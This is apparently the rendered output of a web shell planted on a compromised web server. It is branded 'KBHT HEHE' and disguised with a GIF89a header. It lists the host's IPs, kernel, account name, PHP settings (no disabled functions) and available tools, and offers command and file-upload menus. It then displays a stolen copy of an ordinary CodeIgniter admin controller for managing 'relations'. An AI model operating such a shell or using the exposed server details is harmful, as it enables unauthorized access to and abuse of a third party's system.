GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.17.155.142
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/Relation.php
<?php

/**
 * Controller class for handling all requests related to relations.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Relation extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/RelationManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allRelations'] = $this->RelationManagement->getAllRelations()->result();
            $this->load->view('admin/relations', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createRelation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/createRelation');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewRelation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('relName', 'Relation Title', 'trim|required', array('required' => 'Relation Title Can Not Be Blank.'));
            $this->form_validation->set_rules('relCode', 'Relation Code', 'trim|required', array('required' => 'Relation Code Can Not Be Blank.'));
            $queryByRelationTitle = $this->RelationManagement->getRelationInfoByName(trim($this->input->post('relName')));
            $relationInfoByName = $queryByRelationTitle->result();
            $queryByRelationCode = $this->RelationManagement->getRelationInfoByCode(trim($this->input->post('relCode')));
            $relationInfoByCode = $queryByRelationCode->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createRelation();
            } else if (sizeof($relationInfoByName)) {
                $this->session->set_flashdata('errorMessage', "A Relation With This Name Already Exits. Please choose A Different Name.");
                $this->createRelation();
            } else if (sizeof($relationInfoByCode)) {
                $this->session->set_flashdata('errorMessage', "A Relation With This Code Already Exits. Please choose A Different Code.");
                $this->createRelation();
            } else {
                $newRelationInfo = array(
                    'rel_title' => addslashes(trim($this->input->post('relName'))),
                    'rel_code' => addslashes(trim($this->input->post('relCode'))),
                    'rel_added_on' => date("Y-m-d H:i:s"),
                    'rel_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'rel_updated_on' => date("Y-m-d H:i:s"),
                    'rel_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->RelationManagement->createNewRelation($newRelationInfo)) {
                    $this->session->set_flashdata('successMessage', 'Relation Created Successfully.');
                    redirect("admin/Relation");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Relation. Try Later.');
                    redirect("admin/Relation");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editRelation($rel_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['relationInfo'] = $this->RelationManagement->getRelationInfoBy($rel_id)->result()[0];
            $this->load->view('admin/editRelation', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateRelation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $rel_id = $this->input->post('relId');
            $this->form_validation->set_rules('relName', 'Relation Title', 'trim|required', array('required' => 'Relation Title Can Not Be Blank.'));
            $this->form_validation->set_rules('relCode', 'Relation Code', 'trim|required', array('required' => 'Relation Code Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editRelation($rel_id);
            } else if (!$this->RelationManagement->isRelationNameSafeUpdate($rel_id, trim($this->input->post('relName')))) {
                $this->session->set_flashdata('errorMessage', "A Relation With This Name (" . trim($this->input->post('relName')) . ") Already Exits. Please choose A Different Name.");
                $this->editRelation($rel_id);
            } else if (!$this->RelationManagement->isRelationCodeSafeUpdate($rel_id, trim($this->input->post('relCode')))) {
                $this->session->set_flashdata('errorMessage', "A Relation With This Code (" . trim($this->input->post('relCode')) . ") Already Exits. Please choose A Different Code.");
                $this->editRelation($rel_id);
            } else {
                $relationInfo = array(
                    'rel_id' => $rel_id,
                    'rel_title' => addslashes(trim($this->input->post('relName'))),
                    'rel_code' => (trim($this->input->post('relCode')) == "") ? "NA" : addslashes(trim($this->input->post('relCode'))),
                    'rel_added_on' => date("Y-m-d H:i:s"),
                    'rel_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'rel_updated_on' => date("Y-m-d H:i:s"),
                    'rel_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->RelationManagement->updateRelationInfo($relationInfo)) {
                    $this->session->set_flashdata('successMessage', 'Relation Updated Successfully.');
                    redirect("admin/Relation");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Relation. Try Later.');
                    redirect("admin/Relation");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleRelationStatus($rel_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $relationUpdateData = array(
                'rel_id' => $rel_id,
                'rel_updated_on' => date("Y-m-d H:i:s"),
                'rel_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'rel_active_status' => $toUpdateStatus
            );
            if ($this->RelationManagement->updateRelationInfo($relationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Relation Status Updated Successfully.');
                redirect("admin/Relation");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Relation Status. Try Later.');
                redirect("admin/Relation");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteRelation($rel_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $relationUpdateData = array(
                'rel_id' => $rel_id,
                'rel_updated_on' => date("Y-m-d H:i:s"),
                'rel_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'rel_delete_status' => 'T'
            );
            if ($this->RelationManagement->updateRelationInfo($relationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Relation Deleted Successfully.');
                redirect("admin/Relation");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Relation. Try Later.');
                redirect("admin/Relation");
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteRelation($rel_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $relationUpdateData = array(
                'rel_id' => $rel_id,
                'rel_updated_on' => date("Y-m-d H:i:s"),
                'rel_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'rel_delete_status' => 'F'
            );
            if ($this->RelationManagement->updateRelationInfo($relationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Relation Recovered Successfully.');
                redirect("admin/Relation");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Relation. Try Later.');
                redirect("admin/Relation");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023